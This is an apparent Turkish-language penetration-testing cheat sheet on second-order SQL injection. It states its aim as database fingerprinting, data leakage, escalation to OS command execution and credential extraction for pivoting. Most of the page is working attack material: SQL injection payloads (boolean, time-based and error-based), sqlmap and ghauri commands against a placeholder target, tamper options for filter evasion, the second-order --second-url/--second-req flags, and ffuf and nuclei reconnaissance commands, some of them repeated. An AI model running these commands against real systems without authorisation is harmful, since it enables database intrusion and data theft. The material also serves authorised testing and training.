Skip to content

Second Order Injection - SQLMap

web sqli

Second Order Injection - SQLMap SQL/Cypher sorgusuna kullanıcı girdisinin birleşmesiyle oluşur. Amaç: DBMS fingerprint, veri sızıntısı ve mümkünse OS/RCE yükseltmesi.

  1. Enjekte edilebilir parametreyi (GET/POST/JSON/header/cookie) izole et.

  2. Boolean/time/OAST ile DBMS ve tekniği doğrula.

  3. Veri okuma → dosya/OS komutuna yükselt.

  4. Kanıt paketle; pivot için credential çıkar.

' OR '1'='1
1' AND SLEEP(5)-- -
1' AND 1=CAST((SELECT version()) AS int)-- -
Terminal window
sqlmap -u 'https://TARGET/item?id=1' --batch --banner --current-user --current-db
Terminal window
ghauri -u 'https://TARGET/item?id=1' --dbs
Terminal window
sqlmap -u 'https://TARGET/item?id=1' --batch --level=3 --risk=2
Terminal window
sqlmap -r req.txt --batch --dbs
Terminal window
sqlmap -u 'https://TARGET/item?id=1' --tamper=space2comment,between --batch
Terminal window
sqlmap -u 'https://TARGET/search' --data='q=test' -p q --batch
Terminal window
sqlmap -u 'https://TARGET/profile' --data='name=FUZZ' --second-url='https://TARGET/welcome' --batch
Terminal window
sqlmap -r update-profile.txt --second-req=view-profile.txt --batch
inject noktası ≠ reflection noktası; --second-url / --second-req zorunlu

Second Order Injection - SQLMap sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html